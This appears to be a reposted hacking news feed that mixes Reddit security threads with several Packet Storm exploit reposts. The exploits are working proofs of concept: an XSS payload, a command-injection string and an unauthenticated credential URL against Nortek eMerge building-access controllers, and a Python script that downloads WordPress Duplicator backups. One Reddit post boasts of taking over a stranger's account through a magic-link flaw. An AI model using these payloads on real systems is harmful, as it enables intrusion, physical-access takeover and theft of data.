hacking: security in practice
Twilio - Employee and Customer Account Compromise

https://external-preview.redd.it/JUMovflFaywPKr6Gq8eXX6tsccC7flXPce5wQmtq_ic.jpg?width=640&crop=smart&auto=webp&s=1aa34ae6fe4170e3284d88f833ac545dd61e9e9e submitted by /u/CyberMasterV
[link] [comments]

hacking: security in practice
capability of NSA forensics

Most people say if you over write your whole drive a few times the data can't be recovered. However if the NSA got there hands on it you don't know what types of forensic recovery tools they have. So overwriting the drive numerous times is it really wiped? Could be recovered theoretically?

submitted by /u/dannova23
[link] [comments]

hacking: security in practice
hi there is a really shit magic link vuln in reddit

if you have access to the account email and the magic link https://www.reddit.com/account/magic_link/landing/MIT:/ you can fish for login without pass and take over a reddit account as i have shown here.

to the dude that owns this just password reset and you will be fine, sorry just having fun. next time use 2FA and dont use mailinator. i would have replied to your chat, but i pressed the wrong button lols

submitted by /u/ocoio
[link] [comments]

hacking: security in practice
Getting past maximum Password attempts limitations in brute force attacks

Attacks using brute force are quite frequent. Each day, large websites deal with thousands of these attacks. And I especially receive this question frequently.

Websites are frequently targets of two types of brute force attacks.

"Dictionary" attacks attempt to get in using widely used passwords such as "password1!" "Credential stuffing" attacks exploit stolen username: password combinations from prior website breaches in the hope that the victim will repeat the same login and password on another site. On the black market, lists of these stolen credentials are widely available.

Attackers circumvent retry limits by sending requests from many computers. These are frequently hacked end user devices (bots) or AWS/Azure/GCP virtual servers established with stolen passwords or payment cards. Rather of constantly hitting one account, dictionary assaults are dispersed across numerous accounts at once.

Which is very logical because you want to get lucky, So why not cast the net as wide as possible.

Another type of brute force attack happens when an attacker has compromised a system and stolen password hashes but not plaintext passwords.

The attacker wishes to obtain the plaintext passwords in order to attempt to enter into other systems using them. The attacker saves the password hashes to their own computer, generally in the cloud, and then brute forces the passwords there.

This attack works by repeatedly hashing passwords from a password dictionary and comparing the hashed passwords to the stolen passwords. Because it happens on computers controlled by the attacker, there are no retry limitations.

An attacker who has compromised a low privilege account may also try a brute force against the root password.

But in most of my attacking scenarios this only works if the system is poorly configured.

How many attempts do you think it would take to conduct a brute force attack on DES? provide your answers below. its open for discussion

submitted by /u/Simonvilla1
[link] [comments]

hacking: security in practice
Why did you decide to be a hacker?

A lot of people here want to be hackers, and seeking resources to become hackers, but I was wondering why do you want to be a hacker?

submitted by /u/ifhd_
[link] [comments]

Exploit Collector
Nortek Linear eMerge E3-Series Account Takeover

https://4.bp.blogspot.com/-lQ2zJgiLTsU/WWlu34sMcWI/AAAAAAAAII4/mS7xceEZnmUYAvFeoaUiLc9JINHoDjNsACLcBGAs/s1600/h102.png
Nortek Linear eMerge E3-Series version 0.32-07p suffers from a vulnerability where session fixation tied with cross site scripting can allow for account takeover.

SHA-256 | 6a30c71e741d3009dbaf81b18d14a4260f6043c44ce1ca7ff3fc8841c01a990e

Download
# Exploit Title: Nortek Linear eMerge E3-Series - Account Take Over
# Exploit Author: Omar Hashim
# Version: 0.32-07p
# Vendor home page: https://www.nortekcontrol.com/access-control/
# Vendor home page: https://linear-solutions.com/
# Authentication Required: No
# CVE: CVE-2022-31798

# Description
====================
There is local session fixation that chained with reflected cross-site
scripting leads to account take over of admin or less privileged users

# Proof Of Concept:
====================
http://<host:port/card_scan.php?No=1337&ReaderNo=1337&CardFormatNo=
src=x onerror=alert(document.location)>

Source:packetstormsecurity.com

Exploit Collector
Nortek Linear eMerge E3-Series Command Injection

https://3.bp.blogspot.com/-bZ42fSZSr3k/WWlvHn9HijI/AAAAAAAAILg/Inc3JSbnqMk2Mr3Ts5OXFhitf0RPA2_cwCLcBGAs/s1600/h140.png
Nortek Linear eMerge E3-Series version 0.32-09c suffers from a blind OS command injection vulnerability.

SHA-256 | 1b6d5355c3cfb8a305b173bd302a4a64ba695c262235e2d26ec6c0d12c984191

Download
# Exploit Title: Nortek Linear eMerge E3-Series - Blind OS Command Injection
# Exploit Author: Omar Hashim
# Version: 0.32-09c
# Vendor home page: https://www.nortekcontrol.com/access-control/
# Vendor home page: https://linear-solutions.com/
# Authentication Required: No
# CVE: CVE-2022-31499

# POC:
====================

http:/<host:port/card_scan.php?No=1337&ReaderNo=`sleep
20`&CardFormatNo=1337

Source:packetstormsecurity.com

Exploit Collector
Thingsboard 3.3.1 Cross Site Scripting

https://3.bp.blogspot.com/-GFxdnkVY0Lw/WWlvniKY45I/AAAAAAAAIRU/77qCibw7l9gJ7HKa7eHBCfMI2N56gMPzwCLcBGAs/s1600/hack_img6.png
Thingsboard version 3.3.1 suffers from multiple persistent cross site scripting vulnerabilities.

SHA-256 | ebc19fabae10baaf27a649ed72c78fdc00a6360b84c4b01f5754b78406a8b3c2

Download
# Exploit Title: ThingsBoard 3.3.1 - Stored Cross-Site Scripting (XSS) within the description of a rule node
# Date: 03/08/2022
# Exploit Author: Steffen Langenfeld & Sebastian Biehler
# Vendor Homepage: https://thingsboard.io/
# Software Link: https://github.com/thingsboard/thingsboard/releases/tag/v3.3.1
# Version: 3.3.1
# Tested on: [relevant os]
# CVE : CVE-2021-42751
# Tested on: Linux

#Proof-Of-Concept:
When creating a rule node (any) and putting a script payload inside the description of the rule node, it is executed upon hovering above the node within the editor.

#Steps

1. Create a new rule node (via the menu "Rule chains")
2. Put a javascript payload within the description e.g
3. Save the node
4. Upon hovering above the node within the editor the payload is executed# Exploit Title: ThingsBoard 3.3.1 - Stored Cross-Site Scripting (XSS) within the name of a rule node
----------
# Date: 03/08/2022
# Exploit Author: Steffen Langenfeld & Sebastian Biehler
# Vendor Homepage: https://thingsboard.io/
# Software Link: https://github.com/thingsboard/thingsboard/releases/tag/v3.3.1
# Version: 3.3.1
# CVE : CVE-2021-42750
# Tested on: Linux

#Proof-Of-Concept:
When creating a rule node (any) and putting a script payload inside the name of the rule node, it is executed upon hovering above the node within the editor.

#Steps

1. Create a new rule node (via the menu "Rule chains")
2. Put a javascript payload within the name e.g
3. Save the node
4. Upon hovering above the node within the editor the payload is executed

Source:packetstormsecurity.com

Exploit Collector
Nortek Linear eMerge E3-Series Credential Disclosure

https://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png
Nortek Linear eMerge E3-Series versions 0.32-07p, 0.32-07e, 0.32-07p, 0.32-08f, and 0.32-09c suffer from an administrative credential disclosure vulnerability.

SHA-256 | 307313c2ca8b81c83cd5647ca35cba3eab21050364f124ce96583e8dff6bcfd4

Download
# Exploit Title: Nortek Linear eMerge E3-Series - Information
Disclosure lead to access admin dashboard
# Exploit Author: Omar Hashim
# Version: 0.32-07p,0.32-07e,0.32-07p,0.32-08f,0.32-09c
# Vendor home page : https://www.nortekcontrol.com/access-control/
# Vendor home page : https://linear-solutions.com/
# Authentication Required: No
# CVE : CVE-2022-31269

# Description
====================
Admin credentials are stored in clear text at the endpoint /test.txt
(This occurs in situations where the default credentials admin:admin have been
changed.) Allows an unauthenticated attacker to obtain admini
credentials, access
the admin dashboard of Linear eMerge E3-Series devices, control entire building
doors, cameras, elevator, etc... and access information about employees who can
access the building and take control of the entire building
#Proof Of Concept:
====================

http://<host:port/test.txt

Source:packetstormsecurity.com

Exploit Collector
WordPress Duplicator 1.4.7.1 Backup Disclosure

https://4.bp.blogspot.com/-yT3eHciMBDw/WWlvGfUXh9I/AAAAAAAAILU/lYidSj08G0suEfC69x80tZFrj-NYN5F9wCLcBGAs/s1600/h137.png
WordPress Duplicator plugin version 1.4.7.1 suffers from a backup disclosure vulnerability.

SHA-256 | 8c02cb423eea46b383d67be17314d3d5a18adc9b995ddc621d23b0a2589b797a

Download
## Title: WordPress Plugin Duplicator 1.4.7.1 - Unauthenticated Backup Download
## Author: nu11secur1ty
## Date: 08.08.2022
## Vendor: https://wordpress.org/
## Software: https://wordpress.org/plugins/duplicator/
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Duplicator%20%E2%80%93%20WordPress-Migration-Plugin/1.4.7.1
## Description:
The WordPress Plugin Duplicator 1.4.7.1 suffers from Unauthenticated
Backup Download, after an update from the 1.4.7 version.
The attacker can download all archive information from the system by
using this vulnerability!

Status: CRITICAL

[+] Exploit:

```python
#!/usr/bin/python
# Author nu11secur1ty
import requests
import time

vulnerableURL = "http://pwned_host.com/wordpress/wp-content/backups-dup-lite/"
archive=input("Give the name of the archive...\n")
response = requests.get(vulnerableURL)
time.sleep(5)
open(archive, "wb").write(response.content)
print("Right now, you just downloaded the secret archive =)\n")

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Duplicator%20%E2%80%93%20WordPress-Migration-Plugin/1.4.7.1)

## Proof and Exploit:
[href](https://streamable.com/ee11bg)
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html and https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http:

Source:packetstormsecurity.com

The Grant Bounty

We are thrilled to introduce the Grant Bounty as part of our V2 initiative to invite all players of Web3 to get involved in security. The…Continue reading on Medium »
Read more...

How do intelligence services like Constella operate?
https://www.reddit.com/r/redteamsec/comments/wjcw6u/how_do_intelligence_services_like_constella/

I was reading a cybersecurity blog and noticed the author often cited data from services like https://constellaintelligence.com/ or https://intel471.com/ in his analysis. They seemed really cool so I went to check them out, but there is just a "Request a Demo" button and a contact form, no pricing or anything. Does anyone here use services like those? Can anyone buy it or do you need to be some security professional working for a company? How much do you think they cost? submitted by /u/Aeoroglyph (https://www.reddit.com/user/Aeoroglyph)
[link] (https://www.reddit.com/r/redteamsec/comments/wjcw6u/how_do_intelligence_services_like_constella/) [comments] (https://www.reddit.com/r/redteamsec/comments/wjcw6u/how_do_intelligence_services_like_constella/)

___________________________
@hacking_Attack
@Hacking_Video

The Grant Bounty
https://hatsfinance.medium.com/the-grant-bounty-e04a3bc890c7?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video